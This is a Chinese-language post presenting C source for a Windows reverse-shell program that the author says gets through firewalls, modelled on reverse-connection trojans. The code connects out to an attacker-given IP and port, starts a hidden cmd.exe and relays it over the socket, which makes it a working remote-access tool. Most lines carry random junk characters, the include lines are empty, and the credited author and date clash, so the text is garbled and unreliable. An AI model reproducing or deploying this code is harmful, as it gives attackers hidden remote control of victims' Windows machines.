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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .u'MMe>^  
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/* ============================== G8WPXj(  
Rebound port in Windows NT YU XxQ|  
By wind,2006/7 p|em_!H"SH  
===============================*/ XQ2 YUe]DJ  
#include l.(|&U~  
#include gnYo/q=K  
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#pragma comment(lib,"wsock32.lib") ++eT 0  
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void OutputShell(); E#Ol{6  
SOCKET sClient; "ZL_  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p,tkVedR  
\E'z+0  
void main(int argc,char **argv) ?zf3AZ9  
{ uPC(|U%  
WSADATA stWsaData; }:Y)DH% u  
int nRet; b4f3ef  
SOCKADDR_IN stSaiClient,stSaiServer; -q(*)N5.2  
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if(argc != 3) T7-yZSw -m  
{ +-T|ov<  
printf("Useage:\n\rRebound DestIP DestPort\n"); j`+{FCB7  
return; 9Wg;M#c2Y|  
} j'OXT<n*  
gD;T"^S+  
WSAStartup(MAKEWORD(2,2),&stWsaData); bM2x (E\O  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !K+hXQE1  
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stSaiClient.sin_family = AF_INET; NZO86y/  
stSaiClient.sin_port = htons(0); 7j HrLsB  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :9e4(7~ona  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) S..8,5mBH  
{  :YPi>L5  
printf("Bind Socket Failed!\n"); 1!yd(p=cL  
return; xLms|jS  
} $inKI  
j\NCoos  
stSaiServer.sin_family = AF_INET; B)/c]"@89  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Mf !S'\  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Z|fi$2k0!  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) EPA 2_  
{ .V\~#Ro$G  
printf("Connect Error!"); hi4-Z=pl  
return; &M tF  
} pNZ3vTs6  
OutputShell(); *>HS>#S  
} A-d<[@d0  
Z78i7k}  
void OutputShell() Sy]W4%  
{ _v(5vx_ {  
char szBuff[1024]; #s ' `bF^  
SECURITY_ATTRIBUTES stSecurityAttributes; 2bG92  
OSVERSIONINFO stOsversionInfo; .l|29{J  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; stMxlG"d  
STARTUPINFO stStartupInfo; tc{l?7P  
char *szShell; NJmx(!Xsh  
PROCESS_INFORMATION stProcessInformation; vE1:;%Q  
unsigned long lBytesRead; 45x4JG  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); L,!\PV|  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _ nz^+  
stSecurityAttributes.lpSecurityDescriptor = 0; neE Zw#(Z  
stSecurityAttributes.bInheritHandle = TRUE; X]n`YF7  
}x& X vI  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n2:Uu>/  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y+kuj],h  
{U@"]{3Qx  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;#+I"Ow  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l>L?T#v!_  
stStartupInfo.wShowWindow = SW_HIDE; SL/'UoYm<  
stStartupInfo.hStdInput = hReadPipe; .Wr7*J[V.  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v;-0^s/P  
> 5?c93?  
GetVersionEx(&stOsversionInfo); X-Ev>3H  
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switch(stOsversionInfo.dwPlatformId) .JTRFk{W  
{ }D`ZWTjDay  
case 1: Ui-Y `  
szShell = "command.com"; 4=`1C-v?q  
break; X$G:3uoN  
default: V|F/ynJfA  
szShell = "cmd.exe"; \){_\{&  
break; Pa#Jwo  
} 9UV}`UM3V  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); G$)tp^%]  
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send(sClient,szMsg,77,0); }'86hnW  
while(1) Z\]LG4N?  
{ v~W ;&{  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); qx9; "Ut  
if(lBytesRead) /;:4$2R(;  
{ eu8a<  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); st~ l||  
send(sClient,szBuff,lBytesRead,0); ^UhqV"[7k  
} $FDGHFM  
else P #8+1iC1  
{ R4'>5.M  
lBytesRead=recv(sClient,szBuff,1024,0); k {vd1,HZ  
if(lBytesRead<=0) break; 4E}Q<?UYSt  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3]@wa!`  
} U3-MvI,Q  
} 9i lJ  
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return; $ %|b6Gr/&  
}
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